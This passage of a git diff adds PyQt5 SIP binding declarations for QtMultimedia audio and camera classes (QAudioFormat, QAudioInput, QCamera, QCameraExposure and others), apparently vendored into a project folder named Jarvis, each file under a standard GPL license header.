DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QAudioDeviceInfo +{ +%TypeHeaderCode +#include +%End + +public: + QAudioDeviceInfo(); + QAudioDeviceInfo(const QAudioDeviceInfo &other); + ~QAudioDeviceInfo(); + bool isNull() const; + QString deviceName() const; + bool isFormatSupported(const QAudioFormat &format) const; + QAudioFormat preferredFormat() const; + QAudioFormat nearestFormat(const QAudioFormat &format) const; + QStringList supportedCodecs() const; + QList supportedSampleSizes() const; + QList supportedByteOrders() const; + QList supportedSampleTypes() const; + static QAudioDeviceInfo defaultInputDevice(); + static QAudioDeviceInfo defaultOutputDevice(); + static QList availableDevices(QAudio::Mode mode); + QList supportedSampleRates() const; + QList supportedChannelCounts() const; + bool operator==(const QAudioDeviceInfo &other) const; + bool operator!=(const QAudioDeviceInfo &other) const; +%If (Qt_5_14_0 -) + QString realm() const; +%End +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qaudioencodersettingscontrol.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qaudioencodersettingscontrol.sip new file mode 100644 index 00000000..7fcbe13c --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qaudioencodersettingscontrol.sip @@ -0,0 +1,39 @@ +// qaudioencodersettingscontrol.sip generated by MetaSIP +// +// This file is part of the QtMultimedia Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QAudioEncoderSettingsControl : QMediaControl +{ +%TypeHeaderCode +#include +%End + +public: + virtual ~QAudioEncoderSettingsControl(); + virtual QStringList supportedAudioCodecs() const = 0; + virtual QString codecDescription(const QString &codecName) const = 0; + virtual QList supportedSampleRates(const QAudioEncoderSettings &settings, bool *continuous = 0) const = 0; + virtual QAudioEncoderSettings audioSettings() const = 0; + virtual void setAudioSettings(const QAudioEncoderSettings &settings) = 0; + +protected: + explicit QAudioEncoderSettingsControl(QObject *parent /TransferThis/ = 0); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qaudioformat.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qaudioformat.sip new file mode 100644 index 00000000..50fff6b7 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qaudioformat.sip @@ -0,0 +1,69 @@ +// qaudioformat.sip generated by MetaSIP +// +// This file is part of the QtMultimedia Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QAudioFormat +{ +%TypeHeaderCode +#include +%End + +public: + enum SampleType + { + Unknown, + SignedInt, + UnSignedInt, + Float, + }; + + enum Endian + { + BigEndian, + LittleEndian, + }; + + QAudioFormat(); + QAudioFormat(const QAudioFormat &other); + ~QAudioFormat(); + bool operator==(const QAudioFormat &other) const; + bool operator!=(const QAudioFormat &other) const; + bool isValid() const; + void setSampleSize(int sampleSize); + int sampleSize() const; + void setCodec(const QString &codec); + QString codec() const; + void setByteOrder(QAudioFormat::Endian byteOrder); + QAudioFormat::Endian byteOrder() const; + void setSampleType(QAudioFormat::SampleType sampleType); + QAudioFormat::SampleType sampleType() const; + void setSampleRate(int sampleRate); + int sampleRate() const; + void setChannelCount(int channelCount); + int channelCount() const; + qint32 bytesForDuration(qint64 duration) const; + qint64 durationForBytes(qint32 byteCount) const; + qint32 bytesForFrames(qint32 frameCount) const; + qint32 framesForBytes(qint32 byteCount) const; + qint32 framesForDuration(qint64 duration) const; + qint64 durationForFrames(qint32 frameCount) const; + int bytesPerFrame() const; +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qaudioinput.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qaudioinput.sip new file mode 100644 index 00000000..f3786f5c --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qaudioinput.sip @@ -0,0 +1,58 @@ +// qaudioinput.sip generated by MetaSIP +// +// This file is part of the QtMultimedia Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QAudioInput : QObject +{ +%TypeHeaderCode +#include +%End + +public: + QAudioInput(const QAudioFormat &format = QAudioFormat(), QObject *parent /TransferThis/ = 0); + QAudioInput(const QAudioDeviceInfo &audioDevice, const QAudioFormat &format = QAudioFormat(), QObject *parent /TransferThis/ = 0); + virtual ~QAudioInput(); + QAudioFormat format() const; + void start(QIODevice *device); + QIODevice *start(); + void stop(); + void reset(); + void suspend(); + void resume(); + void setBufferSize(int bytes); + int bufferSize() const; + int bytesReady() const; + int periodSize() const; + void setNotifyInterval(int milliSeconds); + int notifyInterval() const; + qint64 processedUSecs() const; + qint64 elapsedUSecs() const; + QAudio::Error error() const; + QAudio::State state() const; + +signals: + void stateChanged(QAudio::State); + void notify(); + +public: + void setVolume(qreal volume); + qreal volume() const; +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qaudioinputselectorcontrol.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qaudioinputselectorcontrol.sip new file mode 100644 index 00000000..2ad8dcf2 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qaudioinputselectorcontrol.sip @@ -0,0 +1,45 @@ +// qaudioinputselectorcontrol.sip generated by MetaSIP +// +// This file is part of the QtMultimedia Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QAudioInputSelectorControl : QMediaControl +{ +%TypeHeaderCode +#include +%End + +public: + virtual ~QAudioInputSelectorControl(); + virtual QList availableInputs() const = 0; + virtual QString inputDescription(const QString &name) const = 0; + virtual QString defaultInput() const = 0; + virtual QString activeInput() const = 0; + +public slots: + virtual void setActiveInput(const QString &name) = 0; + +signals: + void activeInputChanged(const QString &name); + void availableInputsChanged(); + +protected: + explicit QAudioInputSelectorControl(QObject *parent /TransferThis/ = 0); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qaudiooutput.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qaudiooutput.sip new file mode 100644 index 00000000..921249f1 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qaudiooutput.sip @@ -0,0 +1,60 @@ +// qaudiooutput.sip generated by MetaSIP +// +// This file is part of the QtMultimedia Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QAudioOutput : QObject +{ +%TypeHeaderCode +#include +%End + +public: + QAudioOutput(const QAudioFormat &format = QAudioFormat(), QObject *parent /TransferThis/ = 0); + QAudioOutput(const QAudioDeviceInfo &audioDevice, const QAudioFormat &format = QAudioFormat(), QObject *parent /TransferThis/ = 0); + virtual ~QAudioOutput(); + QAudioFormat format() const; + void start(QIODevice *device); + QIODevice *start(); + void stop(); + void reset(); + void suspend(); + void resume(); + void setBufferSize(int bytes); + int bufferSize() const; + int bytesFree() const; + int periodSize() const; + void setNotifyInterval(int milliSeconds); + int notifyInterval() const; + qint64 processedUSecs() const; + qint64 elapsedUSecs() const; + QAudio::Error error() const; + QAudio::State state() const; + +signals: + void stateChanged(QAudio::State); + void notify(); + +public: + void setVolume(qreal); + qreal volume() const; + QString category() const; + void setCategory(const QString &category); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qaudiooutputselectorcontrol.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qaudiooutputselectorcontrol.sip new file mode 100644 index 00000000..4b69e4d2 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qaudiooutputselectorcontrol.sip @@ -0,0 +1,45 @@ +// qaudiooutputselectorcontrol.sip generated by MetaSIP +// +// This file is part of the QtMultimedia Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QAudioOutputSelectorControl : QMediaControl +{ +%TypeHeaderCode +#include +%End + +public: + virtual ~QAudioOutputSelectorControl(); + virtual QList availableOutputs() const = 0; + virtual QString outputDescription(const QString &name) const = 0; + virtual QString defaultOutput() const = 0; + virtual QString activeOutput() const = 0; + +public slots: + virtual void setActiveOutput(const QString &name) = 0; + +signals: + void activeOutputChanged(const QString &name); + void availableOutputsChanged(); + +protected: + explicit QAudioOutputSelectorControl(QObject *parent /TransferThis/ = 0); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qaudioprobe.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qaudioprobe.sip new file mode 100644 index 00000000..0ae24999 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qaudioprobe.sip @@ -0,0 +1,39 @@ +// qaudioprobe.sip generated by MetaSIP +// +// This file is part of the QtMultimedia Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QAudioProbe : QObject +{ +%TypeHeaderCode +#include +%End + +public: + explicit QAudioProbe(QObject *parent /TransferThis/ = 0); + virtual ~QAudioProbe(); + bool setSource(QMediaObject *source); + bool setSource(QMediaRecorder *source); + bool isActive() const; + +signals: + void audioBufferProbed(const QAudioBuffer &audioBuffer); + void flush(); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qaudiorecorder.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qaudiorecorder.sip new file mode 100644 index 00000000..f41b4aea --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qaudiorecorder.sip @@ -0,0 +1,48 @@ +// qaudiorecorder.sip generated by MetaSIP +// +// This file is part of the QtMultimedia Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QAudioRecorder : QMediaRecorder +{ +%TypeHeaderCode +#include +%End + +public: +%If (Qt_5_6_1 -) + explicit QAudioRecorder(QObject *parent /TransferThis/ = 0); +%End +%If (- Qt_5_6_1) + QAudioRecorder(QObject *parent /TransferThis/ = 0); +%End + virtual ~QAudioRecorder(); + QStringList audioInputs() const; + QString defaultAudioInput() const; + QString audioInputDescription(const QString &name) const; + QString audioInput() const; + +public slots: + void setAudioInput(const QString &name); + +signals: + void audioInputChanged(const QString &name); + void availableAudioInputsChanged(); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qaudiorolecontrol.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qaudiorolecontrol.sip new file mode 100644 index 00000000..c47da83e --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qaudiorolecontrol.sip @@ -0,0 +1,44 @@ +// qaudiorolecontrol.sip generated by MetaSIP +// +// This file is part of the QtMultimedia Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_6_0 -) + +class QAudioRoleControl : QMediaControl +{ +%TypeHeaderCode +#include +%End + +public: + virtual ~QAudioRoleControl(); + virtual QAudio::Role audioRole() const = 0; + virtual void setAudioRole(QAudio::Role role) = 0; + virtual QList supportedAudioRoles() const = 0; + +signals: + void audioRoleChanged(QAudio::Role role); + +protected: + explicit QAudioRoleControl(QObject *parent /TransferThis/ = 0); +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qcamera.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qcamera.sip new file mode 100644 index 00000000..bd6f10cd --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qcamera.sip @@ -0,0 +1,203 @@ +// qcamera.sip generated by MetaSIP +// +// This file is part of the QtMultimedia Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QCamera : QMediaObject +{ +%TypeHeaderCode +#include +%End + +public: + enum Status + { + UnavailableStatus, + UnloadedStatus, + LoadingStatus, + UnloadingStatus, + LoadedStatus, + StandbyStatus, + StartingStatus, + StoppingStatus, + ActiveStatus, + }; + + enum State + { + UnloadedState, + LoadedState, + ActiveState, + }; + + enum CaptureMode + { + CaptureViewfinder, + CaptureStillImage, + CaptureVideo, + }; + + typedef QFlags CaptureModes; + + enum Error + { + NoError, + CameraError, + InvalidRequestError, + ServiceMissingError, + NotSupportedFeatureError, + }; + + enum LockStatus + { + Unlocked, + Searching, + Locked, + }; + + enum LockChangeReason + { + UserRequest, + LockAcquired, + LockFailed, + LockLost, + LockTemporaryLost, + }; + + enum LockType + { + NoLock, + LockExposure, + LockWhiteBalance, + LockFocus, + }; + + typedef QFlags LockTypes; +%If (Qt_5_3_0 -) + + enum Position + { + UnspecifiedPosition, + BackFace, + FrontFace, + }; + +%End +%If (Qt_5_6_1 -) + explicit QCamera(QObject *parent /TransferThis/ = 0); +%End +%If (- Qt_5_6_1) + QCamera(QObject *parent /TransferThis/ = 0); +%End + QCamera(const QByteArray &device, QObject *parent /TransferThis/ = 0); +%If (Qt_5_3_0 -) + QCamera(const QCameraInfo &cameraInfo, QObject *parent /TransferThis/ = 0); +%End +%If (Qt_5_3_0 -) + QCamera(QCamera::Position position, QObject *parent /TransferThis/ = 0); +%End + virtual ~QCamera(); + static QList availableDevices(); + static QString deviceDescription(const QByteArray &device); + virtual QMultimedia::AvailabilityStatus availability() const; + QCamera::State state() const; + QCamera::Status status() const; + QCamera::CaptureModes captureMode() const; + bool isCaptureModeSupported(QCamera::CaptureModes mode) const; + QCameraExposure *exposure() const; + QCameraFocus *focus() const; + QCameraImageProcessing *imageProcessing() const; + void setViewfinder(QVideoWidget *viewfinder); + void setViewfinder(QGraphicsVideoItem *viewfinder); + void setViewfinder(QAbstractVideoSurface *surface); + QCamera::Error error() const; + QString errorString() const; + QCamera::LockTypes supportedLocks() const; + QCamera::LockTypes requestedLocks() const; + QCamera::LockStatus lockStatus() const; + QCamera::LockStatus lockStatus(QCamera::LockType lock) const; + +public slots: + void setCaptureMode(QCamera::CaptureModes mode); + void load(); + void unload(); + void start(); + void stop(); + void searchAndLock(); + void unlock(); + void searchAndLock(QCamera::LockTypes locks); + void unlock(QCamera::LockTypes locks); + +signals: + void stateChanged(QCamera::State); + void captureModeChanged(QCamera::CaptureModes); + void statusChanged(QCamera::Status); + void locked(); + void lockFailed(); + void lockStatusChanged(QCamera::LockStatus, QCamera::LockChangeReason); + void lockStatusChanged(QCamera::LockType, QCamera::LockStatus, QCamera::LockChangeReason); + void error(QCamera::Error); +%If (Qt_5_15_0 -) + void errorOccurred(QCamera::Error); +%End + +public: +%If (Qt_5_5_0 -) + + struct FrameRateRange + { +%TypeHeaderCode +#include +%End + + FrameRateRange(qreal minimum, qreal maximum); + FrameRateRange(); + qreal minimumFrameRate; + qreal maximumFrameRate; + }; + +%End +%If (Qt_5_5_0 -) + QCameraViewfinderSettings viewfinderSettings() const; +%End +%If (Qt_5_5_0 -) + void setViewfinderSettings(const QCameraViewfinderSettings &settings); +%End +%If (Qt_5_5_0 -) + QList supportedViewfinderSettings(const QCameraViewfinderSettings &settings = QCameraViewfinderSettings()) const; +%End +%If (Qt_5_5_0 -) + QList supportedViewfinderResolutions(const QCameraViewfinderSettings &settings = QCameraViewfinderSettings()) const; +%End +%If (Qt_5_5_0 -) + QList supportedViewfinderFrameRateRanges(const QCameraViewfinderSettings &settings = QCameraViewfinderSettings()) const; +%End +%If (Qt_5_5_0 -) + QList supportedViewfinderPixelFormats(const QCameraViewfinderSettings &settings = QCameraViewfinderSettings()) const; +%End +}; + +QFlags operator|(QCamera::LockType f1, QFlags f2); +%If (Qt_5_5_0 -) +bool operator==(const QCamera::FrameRateRange &r1, const QCamera::FrameRateRange &r2); +%End +%If (Qt_5_5_0 -) +bool operator!=(const QCamera::FrameRateRange &r1, const QCamera::FrameRateRange &r2); +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qcameracapturebufferformatcontrol.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qcameracapturebufferformatcontrol.sip new file mode 100644 index 00000000..78bdbeca --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qcameracapturebufferformatcontrol.sip @@ -0,0 +1,40 @@ +// qcameracapturebufferformatcontrol.sip generated by MetaSIP +// +// This file is part of the QtMultimedia Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QCameraCaptureBufferFormatControl : QMediaControl +{ +%TypeHeaderCode +#include +%End + +public: + virtual ~QCameraCaptureBufferFormatControl(); + virtual QList supportedBufferFormats() const = 0; + virtual QVideoFrame::PixelFormat bufferFormat() const = 0; + virtual void setBufferFormat(QVideoFrame::PixelFormat format) = 0; + +signals: + void bufferFormatChanged(QVideoFrame::PixelFormat format); + +protected: + explicit QCameraCaptureBufferFormatControl(QObject *parent /TransferThis/ = 0); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qcameracapturedestinationcontrol.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qcameracapturedestinationcontrol.sip new file mode 100644 index 00000000..bf6ef70d --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qcameracapturedestinationcontrol.sip @@ -0,0 +1,40 @@ +// qcameracapturedestinationcontrol.sip generated by MetaSIP +// +// This file is part of the QtMultimedia Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QCameraCaptureDestinationControl : QMediaControl +{ +%TypeHeaderCode +#include +%End + +public: + virtual ~QCameraCaptureDestinationControl(); + virtual bool isCaptureDestinationSupported(QCameraImageCapture::CaptureDestinations destination) const = 0; + virtual QCameraImageCapture::CaptureDestinations captureDestination() const = 0; + virtual void setCaptureDestination(QCameraImageCapture::CaptureDestinations destination) = 0; + +signals: + void captureDestinationChanged(QCameraImageCapture::CaptureDestinations destination); + +protected: + explicit QCameraCaptureDestinationControl(QObject *parent /TransferThis/ = 0); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qcameracontrol.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qcameracontrol.sip new file mode 100644 index 00000000..0c23bfa1 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qcameracontrol.sip @@ -0,0 +1,56 @@ +// qcameracontrol.sip generated by MetaSIP +// +// This file is part of the QtMultimedia Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QCameraControl : QMediaControl +{ +%TypeHeaderCode +#include +%End + +public: + enum PropertyChangeType + { + CaptureMode, + ImageEncodingSettings, + VideoEncodingSettings, + Viewfinder, + ViewfinderSettings, + }; + + virtual ~QCameraControl(); + virtual QCamera::State state() const = 0; + virtual void setState(QCamera::State state) = 0; + virtual QCamera::Status status() const = 0; + virtual QCamera::CaptureModes captureMode() const = 0; + virtual void setCaptureMode(QCamera::CaptureModes) = 0; + virtual bool isCaptureModeSupported(QCamera::CaptureModes mode) const = 0; + virtual bool canChangeProperty(QCameraControl::PropertyChangeType changeType, QCamera::Status status) const = 0; + +signals: + void stateChanged(QCamera::State); + void statusChanged(QCamera::Status); + void error(int error, const QString &errorString); + void captureModeChanged(QCamera::CaptureModes mode); + +protected: + explicit QCameraControl(QObject *parent /TransferThis/ = 0); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qcameraexposure.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qcameraexposure.sip new file mode 100644 index 00000000..8c31f359 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qcameraexposure.sip @@ -0,0 +1,155 @@ +// qcameraexposure.sip generated by MetaSIP +// +// This file is part of the QtMultimedia Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QCameraExposure : QObject +{ +%TypeHeaderCode +#include +%End + +public: + enum FlashMode + { + FlashAuto, + FlashOff, + FlashOn, + FlashRedEyeReduction, + FlashFill, + FlashTorch, + FlashVideoLight, + FlashSlowSyncFrontCurtain, + FlashSlowSyncRearCurtain, + FlashManual, + }; + + typedef QFlags FlashModes; + + enum ExposureMode + { + ExposureAuto, + ExposureManual, + ExposurePortrait, + ExposureNight, + ExposureBacklight, + ExposureSpotlight, + ExposureSports, + ExposureSnow, + ExposureBeach, + ExposureLargeAperture, + ExposureSmallAperture, +%If (Qt_5_5_0 -) + ExposureAction, +%End +%If (Qt_5_5_0 -) + ExposureLandscape, +%End +%If (Qt_5_5_0 -) + ExposureNightPortrait, +%End +%If (Qt_5_5_0 -) + ExposureTheatre, +%End +%If (Qt_5_5_0 -) + ExposureSunset, +%End +%If (Qt_5_5_0 -) + ExposureSteadyPhoto, +%End +%If (Qt_5_5_0 -) + ExposureFireworks, +%End +%If (Qt_5_5_0 -) + ExposureParty, +%End +%If (Qt_5_5_0 -) + ExposureCandlelight, +%End +%If (Qt_5_5_0 -) + ExposureBarcode, +%End + ExposureModeVendor, + }; + + enum MeteringMode + { + MeteringMatrix, + MeteringAverage, + MeteringSpot, + }; + + bool isAvailable() const; + QCameraExposure::FlashModes flashMode() const; + bool isFlashModeSupported(QCameraExposure::FlashModes mode) const; + bool isFlashReady() const; + QCameraExposure::ExposureMode exposureMode() const; + bool isExposureModeSupported(QCameraExposure::ExposureMode mode) const; + qreal exposureCompensation() const; + QCameraExposure::MeteringMode meteringMode() const; + bool isMeteringModeSupported(QCameraExposure::MeteringMode mode) const; + QPointF spotMeteringPoint() const; + void setSpotMeteringPoint(const QPointF &point); + int isoSensitivity() const; + qreal aperture() const; + qreal shutterSpeed() const; + int requestedIsoSensitivity() const; + qreal requestedAperture() const; + qreal requestedShutterSpeed() const; + QList supportedIsoSensitivities(bool *continuous = 0) const; + QList supportedApertures(bool *continuous = 0) const; + QList 